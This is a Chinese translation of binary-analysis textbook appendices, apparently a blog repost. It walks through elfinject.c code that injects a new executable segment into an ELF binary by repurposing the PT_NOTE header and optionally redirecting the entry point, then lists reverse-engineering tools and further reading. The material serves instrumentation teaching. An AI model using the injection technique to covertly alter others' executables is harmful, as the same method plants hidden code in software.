➓   if(write_secname(elf, inject) < 0) {
       return -1;
    }

    return 0;
  }

用于覆盖节名称的函数名为 rewrite_section_name。这个注入节的新名称不能比旧名称 .note.ABI-tag 更长,因为字符串表中的所有字符串紧密打包在一起,没有多余的空间来容纳额外的字符。因此,rewrite_section_name 首先会检查存储在 inject->secname 字段中的新节名称是否适合 ➊。如果不适合,rewrite_section_name 会返回错误。

接下来的步骤与我之前讨论的 rewrite_code_section 函数中的相应步骤相同,见 列表 B-8:获取字符串表节的索引 ➋,然后遍历所有节 ➌ 并检查每个节的节头 ➍,使用节头中的 sh_name 字段来获取指向节名称的字符串指针 ➎。有关这些步骤的详细信息,请参阅 B.8 节。

覆盖旧的 .note.ABI-tag 段名需要两个信息:.shstrtab 段(字符串表)开始的文件偏移量,以及 .note.ABI-tag 段名在字符串表中的偏移量。给定这两个偏移量,rewrite_section_name 就知道在哪里在文件中写入新的段名字符串。.note.ABI-tag 段名在字符串表中的偏移量保存在 .note.ABI-tag 段头的 sh_name 字段中 ➏。类似地,段头中的 sh_offset 字段包含 .shstrtab 段的起始位置 ➐。

如果一切顺利,循环会定位到两个所需的偏移量 ➑。如果没有,rewrite_section_name 会报告错误并放弃。

最后,rewrite_section_name 计算写入新段名的文件偏移量,并将其保存在 inject->shstroff 字段中 ➒。然后,它调用另一个名为 write_secname 的函数,将新段名写入 ELF 二进制文件中,写入位置是刚刚计算出的偏移量 ➓。写入段名到文件是直接的,只需要标准的 C 文件 I/O 函数,因此我在这里省略了对 write_secname 函数的描述。

回顾一下,ELF 二进制文件现在包含了注入的代码、被覆盖的段头,以及为注入段设置的正确名称。下一步是覆盖 PT_NOTE 程序头,创建一个包含注入段的可加载段。

B.10 覆盖 PT_NOTE 程序头

如你所记得,列表 B-5 展示了定位并保存 PT_NOTE 程序头以进行覆盖的代码。剩下的工作就是覆盖相关的程序头字段,并将更新后的程序头保存到文件中。列表 B-11 展示了更新并保存程序头的函数 rewrite_code_segment。这个函数在 列表 B-4 中的步骤 ➐ 被调用。

列表 B-11: elfinject.c:覆盖 PT_NOTE 程序头

  int
  rewrite_code_segment(elf_data_t *elf, inject_data_t *inject)
  {
➊   inject->phdr.p_type   = PT_LOAD;          /* type */
➋   inject->phdr.p_offset = inject->off;      /* file offset to start of segment */
    inject->phdr.p_vaddr   = inject->secaddr;  /* virtual address to load segment at */
    inject->phdr.p_paddr   = inject->secaddr;  /* physical address to load segment at */
    inject->phdr.p_filesz  = inject->len;      /* byte size in file */
    inject->phdr.p_memsz   = inject->len;      /* byte size in memory */
➌   inject->phdr.p_flags  = PF_R | PF_X;      /* flags */
➍   inject->phdr.p_align  = 0x1000;           /* alignment in memory and file */

➎   if(write_phdr(elf, inject) < 0) {
       return -1;
    }

    return 0;
  }

请记住,之前定位的 PT_NOTE 程序头保存在 inject->phdr 字段中。因此,rewrite_code_segment 首先更新此程序头中的必要字段:通过将 p_type 设置为 PT_LOAD ➊ 使其可加载;设置注入代码段的文件偏移量、内存地址和大小 ➋;使段可读并可执行 ➌;并设置正确的对齐方式 ➍。这些修改与在 图 7-2 中展示的高级概述相同。

在进行必要的修改后,rewrite_code_segment 调用另一个名为 write_phdr 的函数,将修改后的程序头写回 ELF 二进制文件 ➎。列表 B-12 展示了 write_phdr 的代码。该代码与 write_shdr 函数类似,后者是将修改后的段头写入文件的函数,你已经在 列表 B-9 中看过,因此我将重点介绍 write_phdrwrite_shdr 之间的重要区别。

列表 B-12: elfinject.c:将覆盖的程序头写回 ELF 文件

   int
   write_phdr(elf_data_t *elf, inject_data_t *inject)
   {
     off_t off;
     size_t n, phdr_size;
     Elf32_Phdr *phdr_list32;
     Elf64_Phdr *phdr_list64;
     void *phdr_buf;

➊   if(!gelf_update_phdr(elf->e, inject->pidx, &inject->phdr)) {
       fprintf(stderr, "Failed to update program header\n");
       return -1;
     }

     phdr_buf = NULL;
➋   if(elf->bits == 32) {
➌     phdr_list32 = elf32_getphdr(elf->e);
       if(phdr_list32) {
➍        phdr_buf = &phdr_list32[inject->pidx];
          phdr_size = sizeof(Elf32_Phdr);
       }
     } else {
       phdr_list64 = elf64_getphdr(elf->e);
       if(phdr_list64) {
         phdr_buf = &phdr_list64[inject->pidx];
         phdr_size = sizeof(Elf64_Phdr);
       }
     }
     if(!phdr_buf) {
       fprintf(stderr, "Failed to get program header\n");
       return -1;
     }

➎   off = lseek(elf->fd, elf->ehdr.e_phoff + inject->pidx*elf->ehdr.e_phentsize, SEEK_SET);
     if(off < 0) {
       fprintf(stderr, "lseek failed\n");
       return -1;
    }

➏  n = write(elf->fd, phdr_buf, phdr_size);
    if(n != phdr_size) {
      fprintf(stderr, "Failed to write program header\n");
      return -1;
    }

    return 0;
  }

write_shdr 函数类似,write_phdr 首先确保将对程序头的 GElf 表示所做的所有修改写回到底层的本地 Elf32_PhdrElf64_Phdr 数据结构 ➊。为此,write_phdr 调用 gelf_update_phdr 函数,以便将更改刷新到底层数据结构中。此函数接受一个 ELF 句柄、修改的程序头的索引和指向更新后的 GElf_Phdr 程序头表示的指针。像往常一样,对于 GElf 函数,成功时返回非零值,失败时返回 0。

接下来,write_phdr 获取对相关程序头本地表示的引用(根据 ELF 类,可能是 Elf32_PhdrElf64_Phdr 结构),并将其写入文件 ➋。这个过程类似于你在 write_shdr 函数中看到的,唯一不同的是 libelf 不允许你直接获取特定程序头的指针。相反,你必须先获取指向程序头表开始位置的指针 ➌,然后通过索引获取指向更新后的程序头的指针 ➍。要获取指向程序头表的指针,可以根据 ELF 类使用 elf32_getphdrelf64_getphdr 函数。它们在成功时返回指针,在失败时返回 NULL

鉴于被覆盖的 ELF 程序头的本地表示,现在所需要做的就是寻找到正确的文件偏移量 ➎ 并将更新后的程序头写入该位置 ➏。这完成了将新代码段注入 ELF 二进制文件中的所有强制步骤!剩下的唯一步骤是可选的:修改 ELF 入口点,使其指向注入的代码。

B.11 修改入口点

列表 B-13 显示了 rewrite_entry_point 函数,该函数负责修改 ELF 入口点。只有在 列表 B-4 的第 ➑ 步用户请求时,才会调用此函数。

列表 B-13: elfinject.c:修改 ELF 入口点

   int
   rewrite_entry_point(elf_data_t *elf, inject_data_t *inject)
   {
➊   elf->ehdr.e_entry = inject->phdr.p_vaddr + inject->entry;
➋   return write_ehdr(elf);
  }

回想一下,elfinject 允许用户通过命令行参数指定一个新的二进制文件入口点,该参数包含指向注入代码的偏移量。用户指定的偏移量保存在 inject->entry 字段中。如果偏移量为负,则表示入口点不应改变,在这种情况下,rewrite_entry_point 永远不会被调用。因此,如果调用了 rewrite_entry_point,则可以保证 inject->entry 为非负值。

rewrite_entry_point 做的第一件事是更新 ELF 可执行文件头中的 e_entry 字段 ➊,该字段之前已加载到 elf->ehdr 字段中。接下来,它通过将注入代码的相对偏移量(inject->entry)加到包含注入代码的可加载段的基地址(inject->phdr.p_vaddr)来计算新的入口点地址。然后,rewrite_entry_point 调用专用函数 write_ehdr ➋,该函数将修改后的可执行文件头写回 ELF 文件。

write_ehdr 的代码与 清单 B-9 中展示的 write_shdr 函数类似。唯一的区别是,它使用 gelf_update_ehdr 代替了 gelf_update_shdr,并且使用 elf32_getehdr/elf64_getehdr 代替了 elf32_getshdr/elf64_getshdr

现在你已经知道如何使用 libelf 将代码注入二进制文件、覆盖一个节区和程序头以容纳新代码,并修改 ELF 入口点,以便在加载二进制时跳转到注入的代码!修改入口点是可选的,你可能并不总是希望在二进制启动时立即使用注入的代码。有时候,你会希望因不同的原因使用注入的代码,例如替代现有函数的实现。第 7.4 节讨论了除了修改 ELF 入口点之外,一些将控制权转移到注入代码的技巧。

附录:C

二进制分析工具列表

在第六章中,我使用 IDA Pro 进行了递归反汇编示例,使用 objdump 进行了线性反汇编,但你可能更喜欢其他工具。附录列出了你可能觉得有用的流行反汇编器和二进制分析工具,包括用于逆向工程的交互式反汇编器以及能够执行跟踪的反汇编 API 和调试器。

C.1 反汇编器

IDA Pro(Windows,Linux,macOS;www.hex-rays.com

这是业界标准的递归反汇编器。它是交互式的,包含 Python 和 IDC 脚本 API 以及反编译器。它是最好的反汇编器之一,但也是最昂贵的(最基础版售价 $700)。一个旧版本(v7)是免费的,但仅支持 x86-64 且不包括反编译器。

Hopper(Linux,macOS;www.hopperapp.com

这是一个比 IDA Pro 更简单且便宜的替代工具。它共享了许多 IDA 的功能,包括 Python 脚本和反编译,尽管这些功能的开发不如 IDA 完善。

ODA(任何平台;onlinedisassembler.com

在线反汇编器是一个免费的、轻量级的在线递归反汇编工具,非常适合快速实验。你可以上传二进制文件或在控制台输入字节。

Binary Ninja(Windows,Linux,macOS;binary.ninja

一款有前途的新兴工具,Binary Ninja 提供了一个交互式递归反汇编器,支持多种架构,并且为 C、C++ 和 Python 提供了广泛的脚本支持。反编译功能是计划中的特性。Binary Ninja 不是免费的,但个人版对于一个功能完备的逆向平台来说相对便宜,售价为 $149。也有一个有限的演示版可用。

Relyze(Windows;www.relyze.com

Relyze 是一个交互式递归反汇编器,提供二进制差异功能和 Ruby 脚本支持。它是商业软件,但比 IDA Pro 便宜。

Medusa(Windows,Linux;github.com/wisk/medusa/

Medusa 是一个交互式、多架构、递归反汇编器,具有 Python 脚本功能。与大多数同类反汇编器不同,它是完全免费的开源工具。

radare(Windows,Linux,macOS;www.radare.org

这是一个极其灵活的以命令行为导向的逆向工程框架。与其他反汇编器的不同之处在于,它被设计为一组工具,而不是一个统一的界面。通过命令行任意组合这些工具使得 radare 非常灵活。它提供了线性和递归反汇编模式,可以交互使用,也可以完全脚本化。它的主要应用领域是逆向工程、取证和黑客攻击。这个工具集是免费且开源的。

objdump(Linux,macOS;www.gnu.org/software/binutils/

这是本书中使用的著名线性反汇编器。它是免费的并且开源。GNU 版本是 GNU binutils 的一部分,已为所有 Linux 发行版预打包。它也可以在 macOS 上使用(如果安装了 Cygwin^(1))。

C.2 调试器

gdb(Linux;www.gnu.org/software/gdb/

GNU 调试器是 Linux 系统上的标准调试器,主要用于交互式调试,也支持远程调试。虽然您也可以使用gdb进行执行追踪,第九章显示其他工具,如 Pin,更适合自动化地执行这项任务。

OllyDbg(Windows;www.ollydbg.de

这是一个功能强大的 Windows 调试器,具有内置的执行追踪功能和用于解包混淆二进制文件的高级功能。它是免费的,但不是开源的。虽然没有直接的脚本功能,但有用于开发插件的接口。

windbg(Windows;docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-tools) 这是微软发布的 Windows 调试器,能够调试用户模式和内核模式代码,并分析崩溃转储。

Bochs(Windows,Linux,macOS;bochs.sourceforge.net

这是一个便携式 PC 模拟器,支持大多数平台,您还可以用它调试模拟的代码。Bochs 是开源的,按照 GNU LGPL 协议发布。

C.3 反汇编框架

Capstone(Windows,Linux,macOS;www.capstone-engine.org

Capstone 不是一个独立的反汇编器,而是一个免费的开源反汇编引擎,您可以用它来构建自己的反汇编工具。它提供了一个轻量级的多架构 API,并且支持 C/C++、Python、Ruby、Lua 等多种语言的绑定。该 API 允许对反汇编指令的属性进行详细检查,这对于构建自定义工具非常有用。第八章完全讲解了如何使用 Capstone 构建自定义反汇编工具。

distorm3(Windows,Linux,macOS;github.com/gdabah/distorm/

这是一个开源的 x86 代码反汇编 API,旨在快速反汇编。它提供了多个语言的绑定,包括 C、Ruby 和 Python。

udis86(Linux,macOS;github.com/vmt/udis86/

这是一个简单、干净、极简的开源反汇编库,专为 x86 代码设计,您可以使用它在 C 语言中构建自己的反汇编工具。

C.4 二进制分析框架

angr(Windows,Linux,macOS;angr.io

Angr 是一个面向 Python 的逆向工程平台,作为构建自己二进制分析工具的 API。它提供了许多高级功能,包括反向切片和符号执行(在第十二章中讨论)。它主要是一个研究平台,但在积极开发中,并且文档相当完善(且不断改进)。Angr 是免费的且开源的。

Pin(Windows、Linux、macOS;* www.intel.com/software/pintool/ *)

Pin 是一个动态二进制插桩引擎,允许你构建自己的工具,在运行时添加或修改二进制文件的行为。(有关动态二进制插桩的更多内容,请参见第九章)。Pin 是免费的,但不是开源的。它由英特尔开发,仅支持英特尔 CPU 架构,包括 x86。

Dyninst(Windows、Linux;* www.dyninst.org *)

像 Pin 一样,Dyninst 也是一个动态二进制插桩 API,尽管你也可以用它进行反汇编。Dyninst 是免费的且开源的,更多偏向于研究用途,而不是像 Pin 那样侧重于工具开发。

Unicorn(Windows、Linux、macOS;* www.unicorn-engine.org *)

Unicorn 是一个轻量级的 CPU 模拟器,支持多种平台和架构,包括 ARM、MIPS 和 x86。由 Capstone 作者维护,Unicorn 支持多种语言绑定,包括 C 和 Python。Unicorn 不是一个反汇编器,而是一个用于构建基于仿真的分析工具的框架。

libdft(Linux;* www.cs.columbia.edu/~vpk/research/libdft/ *)

这是一个免费的、开源的动态污点分析库,用于第十一章中的所有污点分析示例。libdft 设计上追求快速和易用,提供了两种变体,支持字节粒度的影像内存,并提供一种或八种污点颜色。

Triton(Windows、Linux、macOS;* triton.quarkslab.com *)

Triton 是一个动态二进制分析框架,支持符号执行和污点分析等功能。你可以在第十三章中看到它的符号执行能力。Triton 是免费且开源的。

附录:D

进一步阅读

本附录包含了二进制分析的参考资料和进一步阅读的建议。我将这些建议分为标准和参考资料、论文与文章以及书籍。尽管这份清单并不详尽无遗,但它应当为深入探索二进制分析世界提供了一个良好的起点。

D.1 标准和参考资料

DWARF 调试信息格式版本 4。可在 www.dwarfstd.org/doc/DWARF4.pdf 获取。

DWARF v4 调试格式规范。

可执行与可链接格式 (ELF)。可在 www.skyfree.org/linux/references/ELF_Format.pdf 获取。

ELF 二进制格式规范。

Intel 64 和 IA-32 架构软件开发手册。可在 software.intel.com/en-us/articles/intel-sdm 获取。

《Intel x86/x64 手册》。包含了整个指令集的详细描述。

PDB 文件格式。可在 llvm.org/docs/PDB/index.html 获取。

LLVM 项目的 PDB 调试格式非官方文档(基于微软在 github.com/Microsoft/microsoft-pdb 发布的信息)。

PE 格式规范。可在 msdn.microsoft.com/en-us/library/windows/desktop/ms680547(v=vs.85).aspx 获取。

关于 PE 格式的 MSDN 规范。

System V 应用程序二进制接口。可在 software.intel.com/sites/default/files/article/402129/mpx-linux64-abi.pdf 获取。

x64 System V ABI 规范。

D.2 论文与文章

• Baldoni, R., Coppa, E., D’Elia, D. C., Demetrescu, C., 和 Finocchi, I. (2017)。符号执行技术综述。可在 arxiv.org/pdf/1610.00502.pdf 获取。

关于符号执行技术的综述论文。

• Barrett, C., Sebastiani, R., Seshia, S. A., 和 Tinelli, C. (2008)。模理论可满足性。在 可满足性手册 第十二章。IOS 出版社。可在 people.eecs.berkeley.edu/~sseshia/pubdir/SMT-BookChapter.pdf 获取。

关于可满足性模理论(SMT)的书籍章节。

• Cha, S. K., Avgerinos, T., Rebert, A., 和 Brumley, D. (2012)。在二进制代码上释放混乱。在 IEEE 安全与隐私研讨会论文集,SP’12。可在 users.ece.cmu.edu/~dbrumley/pdf/Cha%20et%20al._2012_Unleashing%20Mayhem%20on%20Binary%20Code.pdf 获取。

使用符号执行生成去除符号的二进制文件漏洞的自动利用代码。

• Dullien, T. 和 Porst, S. (2009). REIL: 一种用于静态代码分析的独立平台中间表示格式。载于 《CanSecWest 会议论文集》。可在 www.researchgate.net/publication/228958277 获得。

一篇关于 REIL 中间语言的论文。

• Kemerlis, V. P., Portokalidis, G., Jee, K., 和 Keromytis, A. D. (2012). libdft: 面向商用系统的实用动态数据流追踪。载于 《虚拟执行环境会议论文集》, VEE’12。可在 nsl.cs.columbia.edu/papers/2012/libdft.vee12.pdf 获得。

libdft 动态污点分析库的原始论文。

• Kolsek, M. (2017). 微软是否刚刚手动修补了他们的方程式编辑器可执行文件?是的,确实如此。(CVE-2017-11882)。可在 blog.0patch.com/2017/11/did-microsoft-just-manually-patch-their.html 获得。

一篇描述微软如何修复软件漏洞,可能通过手写二进制补丁的文章。

• 链接时间优化(gcc 维基条目)。可在 gcc.gnu.org/wiki/LinkTimeOptimization 获得。

一篇关于 gcc 维基中链接时间优化(LTO)的文章。包含指向其他相关 LTO 文章的链接。

• LLVM 链接时间优化:设计与实现。可在 llvm.org/docs/LinkTimeOptimization.html 获得。

一篇关于 LLVM 项目中的 LTO 的文章。

• Luk, C.-K., Cohn, R., Muth, R., Patil, H., Klauser, A., Lowney, G., Wallace, S., Reddi, V. J., 和 Hazelwood, K. (2005). Pin: 使用动态插桩构建定制化程序分析工具。载于 《编程语言设计与实现会议论文集》, PLDI’05。可在 gram.eng.uci.edu/students/swallace/papers_wallace/pdf/PLDI-05-Pin.pdf 获得。

Intel Pin 的原始论文。

• Pietrek, M. (1994). 深入了解 PE:Win32 可移植执行文件格式的探秘。可在 msdn.microsoft.com/en-us/library/ms809762.aspx 获得。

一篇关于 PE 格式复杂性的详细(尽管已过时)文章。

• Rolles, R. (2016). Synesthesia: 一种现代的 shellcode 生成方法。可在 www.msreverseengineering.com/blog/2016/11/8/synesthesia-modern-shellcode-synthesis-ekoparty-2016-talk/ 获得。

一种基于符号执行的自动生成 shellcode 的方法。

• Schwartz, E. J., Avgerinos, T., 和 Brumley, D. (2010). 《你可能害怕问但却一直想知道的动态污点分析和前向符号执行》。收录于 IEEE 安全与隐私研讨会论文集,SP’10。可在 users.ece.cmu.edu/~aavgerin/papers/Oakland10.pdf 获取。

一篇关于动态污点分析和符号执行的实现细节及陷阱的深入论文。

• Slowinska, A., Stancescu, T., 和 Bos, H. (2011). Howard: 一个动态挖掘工具,用于逆向工程数据结构。收录于 网络与分布式系统安全研讨会论文集,NDSS’11。可在 www.isoc.org/isoc/conferences/ndss/11/pdf/5_1.pdf 获取。

一篇描述自动逆向工程数据结构的方法的论文。

• Yason, M. V. (2007). 解包艺术。收录于 BlackHat USA。可在 www.blackhat.com/presentations/bh-usa-07/Yason/Whitepaper/bh-usa-07-yason-WP.pdf 获取。

二进制解包技术介绍。

D.3 书籍

• Collberg, C. 和 Nagra, J. (2009). 隐蔽软件:软件保护的混淆、水印和防篡改技术。Addison-Wesley Professional。

一篇深入概述软件(去)混淆、水印和防篡改技术的文章。

• Eagle, C. (2011). IDA Pro 手册:世界上最受欢迎的反汇编工具非官方指南(第 2 版)。No Starch Press。

一本专门讲解使用 IDA Pro 反汇编二进制文件的完整书籍。

• Eilam, E. (2005). 逆向工程:逆向工程的秘密。John Wiley & Sons, Inc.

手动逆向二进制文件的介绍(聚焦于 Windows)。

• Sikorski, M. 和 Honig, A. (2012). 实用恶意软件分析:恶意软件剖析实战指南。No Starch Press。

一本关于恶意软件分析的全面介绍。

posted @ 2025-11-28 09:40  绝不原创的飞龙  阅读(6)  评论(0)    收藏  举报